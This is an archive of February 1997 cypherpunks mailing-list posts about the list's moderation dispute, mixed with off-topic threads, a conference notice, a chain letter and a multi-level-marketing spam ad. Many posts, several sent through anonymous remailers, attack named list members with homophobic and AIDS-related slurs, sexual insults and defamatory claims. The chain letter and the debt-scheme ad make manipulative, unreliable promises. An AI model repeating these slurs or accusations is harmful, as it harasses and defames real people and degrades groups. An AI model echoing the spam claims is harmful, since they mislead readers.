Date: Wed, 5 Feb 1997 07:25:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRIVIUM] Extradition treaties
Message-ID: <199702051525.HAA28690@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Drunkard Vilest K>rap<OTM wears satin lingerie embroidered with
pink swastikas, prancing around for his faggot, AIDS infected
lovers.

   |\     \ \ \ \ \ \ \      __
   |  \    \ \ \ \ \ \ \   | O~-_ Drunkard Vilest K>rap<OTM
   |   >----|-|-|-|-|-|-|--|  __/
   |  /    / / / / / / /   |__\
   |/     / / / / / / /







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 09:27:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Information Warfare
Message-ID: <199702051727.JAA01496@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"tmcghan@mail.bcpl.lib.md.us" <tmcghan@mail.bcpl.lib.md.us> writes:

> in a message allegedly from:  Peter Hendrickson <pdh@best.com>
> 
> > The cypherpunks list has been under "attack" for some time.
> {snip}
> > Some people have dismissed the idea that rogue governmental elements
> > are behind some of our problems.
> {snip}
> > We know that "Information Warfare" is the big thing in the defense
> > establishment right now.
> 
> Information Warfare Conference
> sponsored by DPMA/AITP
> 
> Washington, DC, March 13-14, 1997
> Crystal City Marriott
> 1999 Jefferson Davis Highway
> Arlington, VA  22202
> 
> Presentations by:
> Major General Michael V. Hayden, Commander, Air Intelligence Agency
> Dr. C. Kenneth Allard, Competitive Strategies
> Col. H. Stevens, Land Information Warfare Activity
> 
> - current service visions and planned program initiatives
> - operational concepts for 'third-wave' warfare
> - information warfare drivers for 21st century C4I architectures
> - emerging technologies and systems for information warfare 
> superiority: opportunities on the horizon
> 
> 'information warfare targets and vulnerabilities', Maxim I. Kovel,
>  TASC systems management group
> 
> 'information warfare for deterrence', William H.J. Manthorpe, Jr.
> Applied Physics Laboratory, Johns Hopkins
> 
> 'adaptive techniques for counter-deception', James Llinas,
> technical advisor, DOD JDL, Data Fusion group
> 
> 'emerging threats come in all sizes and flavors', Eugene Schultz, SRI
> consulting
> 
> "Information has been termed the 'fifth dimension' in the conduct of 
> 'third-wave' warfare, and promises to dramatically enhance the role 
> of C4I as a force multiplier.  Joint and individual service doctrine 
> is emerging for IW, ans is affecting the needs and requirements for 
> diverse systems:  from space-based surveillance and communications 
> systems to terrestrial image processing, visualization, and 
> information fusion systems."
> 
> "This conference will provide a valuable forum where military and 
> industry staff can interact with key decision-makers to achieve the 
> most current possible understanding of Information Warfare concepts, 
> initiatives, technologies and potential opportunities.  The Critical 
> Questions to be addressed include:
> 
> - how is IW changing operational concepts?
> - how can we defend the weak links in the planned 
> information-intensive reconnaissance, strike, targeting architecture?
> - what developments in enabling technologies are needed to support 
> current Information Operations, Battlefield Visualization, and 
> Information Exploitation initiatives?
> -what can be done to develop defensive information technology 
> capabilities?
> 
>             and last, but _c_e_r_t_a_i_n_l_y_ not least:
> 
> - how will we move forward to develop a true offensive IW capability
> 
> ==============================================
> 

Many of my f2f meetings with the people on and around this mailing lists were
at the InfoWarCon's. It's no secret that my research interests include IW (with
PsyOps and DOS). And what was Gilmore (spit, fart) doing there?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 09:23:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702051723.JAA01404@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Dale Thorn <dthorn@gte.net> writes:
> 
> > > The drunk can be excluded, but when someone wants to use the drunk as
> > > an example to escalate the exclusion to other persons who are not in
> > > fact drunk, watch out!
> 
> > If I get really really drunk, which happens very seldom, then I'm
> > too drunk to post. I don't mind an occasional beer, though.
> 
> > Oksas, have you ever tried beer? :-)
> 
> I had my first beer(s) in three years at one of those industrial
> parties last night.  It made the craps table action seem a bit
> merrier, and the girls were friendlier too.
> 

I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
one think: I like room-temperature beer better than cold beer. YMMV.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 09:23:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A Vote of Silence for Human Gus-Peter
Message-ID: <199702051723.JAA01392@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Larry Johnson <lwjohnson@grill.sk.ca> writes:

> I want to be the new modernator so anyone who wants me to be it can
> not send any messages, ok?
> So any people who dont send messages are voting for me, ok?
> 
> (If I am modernator I will give everyone free pizza and Schotch.)
> 
> Ok. Now evceryone vote, ok?
> 
> Human Gus-Peter
> 
> 

I volunteer to moderate cypherpunks@toad.com.

I'll use a 'bot (like Sandy uses a 'bot) to junk submissions from Gilmore,
Sandfart, and other known homosexuals, and pass on everything else.

It'll probably have better S/N that Sandy's censored list does now.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 09:25:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <199702051725.JAA01476@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell <jimbell@pacifier.com> writes:

> Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
> Crazy."  Computer science major, BTW.
> 
> 
> 
> 
> At 07:37 PM 2/3/97 -0800, Clint Barnett wrote:
> >wasn't Dolph Lundgren an MIT grad? I seem to remember something about him 
> >having a degree in Chemical Engineering  or something along those lines. 
> >
> >clint barnett
> >lord of the cosmos
> >emily carr institute
> >
> >On Wed, 29 Jan 1997, Anonymous wrote:
> >
> >> 
> >> 
> >> According to Rick Osborne:
> >> 
> >> "I disagree and can speak from experience.  I was denied admission to MIT
> >> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP test
> >> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
> >> was on several academic teams, sang in Chorus, acted and stage managed in
> >> Drama, and played Tennis."
> >> 
> >> People get into MIT--or don't get into MIT--for lots of reasons. Most
> >> intelligent people apply to several schools, knowing that admissions
> >> practices are subject to the vagaries of reality.
> >> 
> >> In my case, my SATs were about 1500, with some 800s in achievement tests.
> >> And the usual bullshit high school clubs, political offices, etc. etc. I
> >> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
> >> way things turned out.
> >> 
> >> And I decided not to go to MIT, either.
> >> 
> >> "The only thing I didn't have that the next MIT applicant had was money.  
> >> made the mistake of letting them know that I was dirt poor and would need
> >> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> >> Russian front!""
> >> 
> >> My guess is that "other factors" were involved. 
> >> 
> >> I noted with some interest, but little surprise, that the guy claiming MIT
> >> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> >> had major problems making a coherent point. Methinks this is why MIT
> >> rejected him, not his lack of a "1600."
> >> 
> >> ">For what it's worth, I wanted to go to MIT my sophomore year in high
> >> >school, too
> >> 
> >> "Lucky you.  It had been a dream of mine since I was an annoying
> >> overachiever of 6.  Sux to be white trash, I guess."
> >> 
> >> MIT offered me a substantial economic aid package, in the form of loans,
> >> grants, and various campus jobs. What does this tell you?
> >> 
> >> "MIT may be a great school, but they tend to be snooty assholes for the mo
> >> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
> >> assholes", I'm just saying that I've yet to meet one that wasn't.)
> >> 
> >> I've known about a dozen or so MIT grads, and only one of them was a snoot
> >> asshole, and it was a _she_, one of the first MIT women grads (and she was
> >> _very_ impressed by this). 
> >> 
> >> Most MIT grads are perfectly reasonable.
> >> 
> >> Xanthar
> >> 
> >> 
> >> 
> >> 
> >> --
> >> 
> >
> >
> >
> Jim Bell
> jimbell@pacifier.com
> 

This thread has no crypto-relevance, but Sandy the Asshole forwards it to the
censored list.  He also sends crypto-relevant threads to the flames list.
This will be the first post in this thread that Sandy the Asshole will junk.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Wed, 5 Feb 1997 12:04:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: I'm Just A Kid (But If I Was A Secret Goverhnment Guy...)
Message-ID: <199702052004.MAA03758@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I would:>

Make regular government guys pass all kinds of laws and stuff to keep
regular people from having what they need to be talking to each other 
in secret where I couldnt listen. (Cause Im the Secret Guy--not them!)

Sic lawyers and persecutors on a guy if he made some secret-keeping
stuff that worked and let everyone have it if they wanted it.

Make my own secret software stuff using guys who want to make a lot
of money and will do what I want if I make it so they will.
Make businesses lose money unless they used my own secret software
stuff cause they couldnt sell it everywhere unless they did what
I said.

Make a secret guy coup on troublemakers and take over their stuff
so I could use it just for other secret guys and business guys
to tell everyone to use just my own secret-keeping software stuff.

I would make a secret guy coup on a mailing list if it was causing
trouble for me. I wouldnt do it until I had my own secret stuff 
ready to give to everyone though. And I would have my other secret
guys already on the list waiting for me to tell them what to do.
I would cause a lot of trouble on the list and use it to get rid of
the troublemaker guys and make everyone think that I am a good guy
saving them from bad guys wearing black hats and shooting at them
with penis-pictures.
I would let another guy be a dumb guy and do all the bad things
for me on the list so everyone would be mad at him and not at me.

I would let my secret smart guys on the list tell everyone that
the dumb guy wasnt doing dumb and bad things. I would make them
say things that sound real smart but dont really mean anything
except in the direction they are pointing their fingers to make
people look.

I would have my secret guys all saying underneath the conscious
stuff together so that everyone would start believing things that
I want them to believe.

{My uncle just got back from his trip so he is going to help me
with the rest (just the spelling and stuff though) and then he is
going to kill me for making his secret machine call him a _lamer_
when he boots it up}

<::>I want everyone to believe<::>

:>I had to save the list cause it was sick.
My secret guys talk about "the PATHOLOGY of the list"

:>Dictatorship will save them from the chaos of anarchy.
My secret guys talk about the "TRAGEDY of the COMMONS"

:>It is not me but other guys who are trying to steal the list.
My secret guys say "PRIVATE ACTORS..EXTRACT..REPUTATION CAPITAL."

:>Its ok to throw doo-doo on the only original list guy who wont
:>kiss secret guy/big business ass by connecting him in peoples
:>heads with the guy everyone knows is a bad guy (because he uses
:>bad words.
My secret guys say "DMITRI VULIS' BEHAVIOR...SEEKS TO PUNISH THE
LIST for failing to PUNISH or OSTRACIZE TIM MAY..TIM MAY WAS
DISRESPECTFUL" <--"PRIVATE GAIN (PUBLIC RETRIBUTION)"-->OSTRACIZE
TIM MAY...TIM MAY WAS DISRESPECTFUL...PUNISH TIM MAY(PUBLIC 
RETRIBUTION)..."ATTEMPT TO ACHIEVE PRIVATE GAIN...AT THE EXPENSE 
OF...QUALITY AND GOOD NAME OF THE LIST"...OSTRACIZE TIM MAY...DIMITRI
VULIS' BEHAVIOR...TIM MAY IS DISRESPECTFUL...DIMITRI VULIS..TIM MAY

:>Only a few riff-raff are misrepresenting Dictatorship.
My secret guys say "Several..." (the few that escaped the censors
jackboot) "AUTHORS..." (people who only make stuff up in writing) 
"CHARACTERIZED JOHN GILMORE AND SANDY SANDFORT's..." ('made up' the
bad character of) "with RESPECT to MODERATION"...RESPECT MODERATION
...RESPECT MODERATION...RESPECT MODERATION

:>I am not a Dictator who is stealing the list.
My secret guys use nice polite words to describe what people 
really called dictatorship and stealing. 
"MONOPOLIZE" instead of DICTATORSHIP 
"APPROPRIATE" instead of STEAL.

:>Freedom and gain should be associated with private ownership.
My secret guys would put words in the mouths of "FREE-market"
guys (standing by an American flag with their hands over their
hearts singing the national anthem) and make them say that the
"SOLUTION TO "TRAGEDY...IS PRIVATE OWNERSHIP...MAXIMIZE LONG-TERM
GAIN...CAREFUL MANAGEMENT"

:>If there is no list Fuhrer to say how things will always be done
then the email won't run on time.
My secret guys say "WASTEFUL...HARMFUL SHORT-TERM STRATEGIES..."
are what everyone is going to get without a having a Dictator
and "PRIVATE OWNERSHIP...ELIMINATE...WASTEFUL...NONOPTIMAL USE OF
RESOURCES" and "WORK towards...PRIVATE OWNERSHIP"..."ANARCHIC 
COMMUNITY AT ODDS WITH...GOOD USE OF RESOURCES"...WORK-->PRIVATE
OWNERSHIP...ANARCHIC-->WASTEFUL...PRIVATE OWNERSHIP-->SOLUTION TO
TRAGEDY...ANARCHIC-->HARMFUL<->TIM MAY<->DIMITRI VULIS<->HARMFUL
ANARCHIC...PRIVATE OWNERSHIP-->HISTORICAL...OSCTRACIZE TIM MAY
TIM WAS DISRESPECTFUL...ANARCHIC HARMFUL...OSTRACIZE TIM MAY
WORK=PRIVATE OWNERSHIP...WORK=PRIVATE OWNERSHIP
ANARCHIC HARMFUL...OSTRACIZE TIM MAY...ANARCHIC...DISRESPECTFUL
DIMITRI VULIS=TIM MAY...DIMITRI VULIS=TIM MAY=DIMITRI VULIS
OSTRACIZE TIM VULIS...


If I was a secret government guy I would make a cypherpunks home
page and fix it so that anyone who used the "legendary and massive
directory of global Internet resources" (a fancy name for a bunch
of Yahoos) to search for cypherpunks would only find my home page 
and the home pages of two crazy guys.
My home page wouldnt have any links to other peoples cypherpunks
mail list stuff but only the one my secret guys were taking over.
I would hope nobody would notice that almost everyone in the world 
who searches for the cypherpunks would only find the mailing list 
that is censored by my guy and my autobot.
I would hope that nobody would notice that the guy saying hes 
checking to see if secret government guys are messing with the
cypherpunks is one of my guys.


Of course Im just a kid and not a secret government guy so I cant
do all this stuff. Good thing for you guys, huh?
(But you guys should watch out for messages that start with saying,
"You are getting sleepy...you are getting very very sleepy...)

Anyway my uncle is kicking me off of cypherpunks so he can clean up
my mess in my dads email before he gets home. And then hes going
to kill me (but only after I help him find the silver key on the
second level of Duke Nukem3D--hes a gamer-lamer).

You guys might think Im a lamer myself but I got my Sandy flame on
the censored list (on my very first message) using kindegarten 
cryptography and you didnt so maybe you could learn something
from a kid, huh?
My uncle says he doesnt think kids (or anybody else) should have
what they say thrown in the flames-crapper just because someone
doesnt like what they say.
He used to go behind the Iron Curtain so people could hear what
other people didnt want them to hear and now he goes behind the
ElectroMagnetic Curtain instead and he says he wont let any 
lamers shut me up just because their ashamed of what their doing
and dont want anyone to know about it.
He helped me with some of this but only to not sound like a 
real lamer (just a bit of a lamer) but not with what I think
about the cypherpunks. I learned how to read with the Froggie
manual and cypherpunks messages and government stuff and stuff
by my dead uncle who is dead because of what he wrote about
the guys who started the internet in the first place. (Their not
good guys.)

I like you guys. 
Dont bend over for the lamers.
Dont start to cry.
Just keep on being flamers.
   Bitch and shout.
   Dont worry about the schisms.
   And dont let the Fascists take
   Your algorithms.
Lamers come and go
So dont worry bout their junk
Anarchists have <Delete> keys
They're Immortal CypherPunks.

I have to go get killed now.

Human Gus-Peter
grandson of gomez






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Wed, 5 Feb 1997 11:40:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702051940.LAA03436@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


May Timmy May's forgeries get stuck up his ass so he'll have to shit 
through his filthy mouth for the rest of its miserable life.

       |||||||||||
        \~0/ \0~/
        <  (0)  >
   --oOO--/|||\--OOo- Timmy May






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Wed, 5 Feb 1997 17:38:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hash functions
Message-ID: <199702060138.RAA08850@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] Maya is the living proof that 
anal sex causes pregnancy.

 
  ()
   \--o
  .-\__.
 (      \_
  '-.-'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Wed, 5 Feb 1997 17:38:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mondex
Message-ID: <199702060138.RAA08857@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. Maypole's aberrant sexual life has negatively 
impacted his mental integrity.

     \|/
     @ @
-oOO-(_)-OOo- Timmy C. Maypole






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 17:39:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <199702060139.RAA08875@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy the asshole continues to forward crypto-irrelevant fluff to the censored
list as long as it's posted by his boyfriends:

"P.J. Westerhof" <p.j.wester@NGI.NL> writes:

> At 18:12 4-02-97 -0800, you wrote:
> >Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
> >Crazy."  Computer science major, BTW.
> >
> He is quite a singer too (at least he was some years ago on Dutch TV).
> Perhaps that made the difference.  ;-)
> 
> Gr.
> Peter
> 
> 
> _________________________________________________________
> 
>    P.J. Westerhof  LL.D                      
>    e-mail           P.J.WESTER@NGI.NL     |        Computerlaw
>    voice            +31-347-375400                |        Legal informatics
>    fax/data        +31-347-375400                |        IT - consultancy
>    Web:            www.ngi.nl/cr/                   |        Soaring
> _________________________________________________________
> 
> 


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 6 Feb 1997 06:56:01 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702061456.GAA24463@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:

> > > > The drunk can be excluded, but when someone wants to use the drunk as
> > > > an example to escalate the exclusion to other persons who are not in
> > > > fact drunk, watch out!

> > > If I get really really drunk, which happens very seldom, then I'm
> > > too drunk to post. I don't mind an occasional beer, though.

> > > Oksas, have you ever tried beer? :-)

> > I had my first beer(s) in three years at one of those industrial
> > parties last night.  It made the craps table action seem a bit
> > merrier, and the girls were friendlier too.

> I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
> one think: I like room-temperature beer better than cold beer. YMMV.

Interesting coincidence for people on opposite coasts - the bar at
the hotel had two choices:  Bud regular and Coors light.  I took the
Coors.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Wed, 5 Feb 1997 17:40:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] PGP
Message-ID: <199702060140.RAB08926@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] May has been beaten up 
numerous times by fellow prostitutes for 
driving blow job prices down.

         (((>     /<
        (        /
         ((({{{{{:<
                 \
                  \<






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WinSock Remailer <winsock@rigel.cyberpass.net>
Date: Thu, 6 Feb 1997 06:55:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NOISE] Sphere packing
Message-ID: <199702061455.GAA24423@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimwit Virus K[rust]OfTheMonth styles his facial hair to look
more like pubic hair.

   (___)
   (o o)_____/
    @@ `     \ Dimwit Virus K[rust]OfTheMonth
     \ ____, /
     //    //
    ^^    ^^







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WinSock Remailer <winsock@rigel.cyberpass.net>
Date: Thu, 6 Feb 1997 06:55:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PGP] Cats out of bags
Message-ID: <199702061455.GAA24426@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Destitute Violent K[arcinogen]OTM is so in love with himself,
he cries out his own name when orgasming. Then again, no one
else is ever around.

    /\        /\
   +  \______/  +
      / .  . \
     <   /    >  Dr.Destitute Violent K[arcinogen]OTM
      \ \--/ /
       ------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 6 Feb 1997 07:11:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702061511.HAA24915@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:

> Anil Das <das@sgi.com> writes:
>
> > Dr.Dimitri Vulis KOTM wrote:
> > >
> > > Learn to use an anonymous remailer.
> >
> > Thanks for the hint, Dr. Vulis. I have registered for a course, but
> > seats are available only in fall.
>
> Toilet seats in the state of free fall?
>
> The stego on Sandy's moderated list blows my mind...

And Sandy blows Sameer, and Greg blows John...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 6 Feb 1997 07:11:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702061511.HAA24936@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Dale Thorn <dthorn@gte.net> writes:
>
> > > > > The drunk can be excluded, but when someone wants to use the drunk as
> > > > > an example to escalate the exclusion to other persons who are not in
> > > > > fact drunk, watch out!
>
> > > > If I get really really drunk, which happens very seldom, then I'm
> > > > too drunk to post. I don't mind an occasional beer, though.
>
> > > > Oksas, have you ever tried beer? :-)
>
> > > I had my first beer(s) in three years at one of those industrial
> > > parties last night.  It made the craps table action seem a bit
> > > merrier, and the girls were friendlier too.
>
> > I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
> > one think: I like room-temperature beer better than cold beer. YMMV.
>
> Interesting coincidence for people on opposite coasts - the bar at
> the hotel had two choices:  Bud regular and Coors light.  I took the
> Coors.

I remember when one had trouble getting Coors in NY: had something to do
with their giving $$ to the Nicaragua contras and upsetting the
politically correct distributors.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Thu, 6 Feb 1997 07:10:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702061510.HAA24867@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


bite your penis.

            /_/\/\
            \_\  / Tim C[reep] May
            /_/  \
            \_\/\ \
               \_\/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 6 Feb 1997 11:22:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks spread chain letters
Message-ID: <199702061922.LAA28356@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Now the punks are sending me "good luck" letters...

What a bunch of losers. No wonder they bend over for Gilmore.

>                        St. Jude
> 
>         Kiss someone you love when you get this letter and make magic.  This
> paper was sent to you for good luck.  The original copy is in New England.  I
> has been around the world nine times.  The Luck has been sent to you.  You
> will receive good luck in four days.  This is no joke.  You will receive it i
> the mail.  send copies to people that you think need good luck.  Don't send
> money as fate has no price.  Do not keep this letter.  It must leave your
> hands in 96 hours.  An Air Force officer received $70,000 in four days.  Joe
> Elliot received $40,000 and lost it because he broke the chain.  While in the
> Philippines, Gene Wolf lost his wife six days after receiving this letter.  H
> failed to circulate the letter.  However, before he death, she won $50,000 in
> a lottery.  The money was transferred to him four days after he decided to
> mail this letter.  Please make twenty copies of this letter and see what
> happens in four days.  The chain comes from South Venezuela and was written b
> Saint Anthony Decroc, a missionary from South America.  Since the copy must
> make a tour of the world, you must make twenty copies and send them to your
> friends and associates.  After a few days you will get a surprise.  This is
> true even though you are not superstitious.  So note the following: 
> Constantine Dens received the chain in 1958.  He asked his secretary to make
> twenty copies and send them out.  A few days later he won the lottery of 2
> million dollars.  Andy Doddit, and office employee, received a letter and
> forgot it had to leave his hands within 96 hours, he lost his job.  Later,
> after finding the letter again, he mailed out twenty copies.  A few days late
> he got a better job.
> Please send no money.  Please don't ignore this.  IT DOES WORK.
> 
> 
> 
>                        St. Jude
> 
>         Kiss someone you love when you get this letter and make magic.  This
> paper was sent to you for good luck.  The original copy is in New England.  I
> has been around the world nine times.  The Luck has been sent to you.  You
> will receive good luck in four days.  This is no joke.  You will receive it i
> the mail.  send copies to people that you think need good luck.  Don't send
> money as fate has no price.  Do not keep this letter.  It must leave your
> hands in 96 hours.  An Air Force officer received $70,000 in four days.  Joe
> Elliot received $40,000 and lost it because he broke the chain.  While in the
> Philippines, Gene Wolf lost his wife six days after receiving this letter.  H
> failed to circulate the letter.  However, before he death, she won $50,000 in
> a lottery.  The money was transferred to him four days after he decided to
> mail this letter.  Please make twenty copies of this letter and see what
> happens in four days.  The chain comes from South Venezuela and was written b
> Saint Anthony Decroc, a missionary from South America.  Since the copy must
> make a tour of the world, you must make twenty copies and send them to your
> friends and associates.  After a few days you will get a surprise.  This is
> true even though you are not superstitious.  So note the following: 
> Constantine Dens received the chain in 1958.  He asked his secretary to make
> twenty copies and send them out.  A few days later he won the lottery of 2
> million dollars.  Andy Doddit, and office employee, received a letter and
> forgot it had to leave his hands within 96 hours, he lost his job.  Later,
> after finding the letter again, he mailed out twenty copies.  A few days late
> he got a better job.
> Please send no money.  Please don't ignore this.  IT DOES WORK.
> 
> 
> 
> 


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rodney Thayer <rodney@sabletech.com>
Date: Thu, 6 Feb 1997 12:42:42 -0800 (PST)
To: linux-ipsec@clinet.fi
Subject: testing
Message-ID: <199702062042.MAA29609@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




               Rodney Thayer <rodney@sabletech.com>       +1 617 332 7292
               Sable Technology Corp, 246 Walnut St., Newton MA 02160 USA
               Fax: +1 617 332 7970           http://www.shore.net/~sable
                           "Developers of communications software"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: starvino@gte.net
Date: Thu, 6 Feb 1997 15:19:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Kool! Klassy! Klever!
Message-ID: <199702062319.PAA02669@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
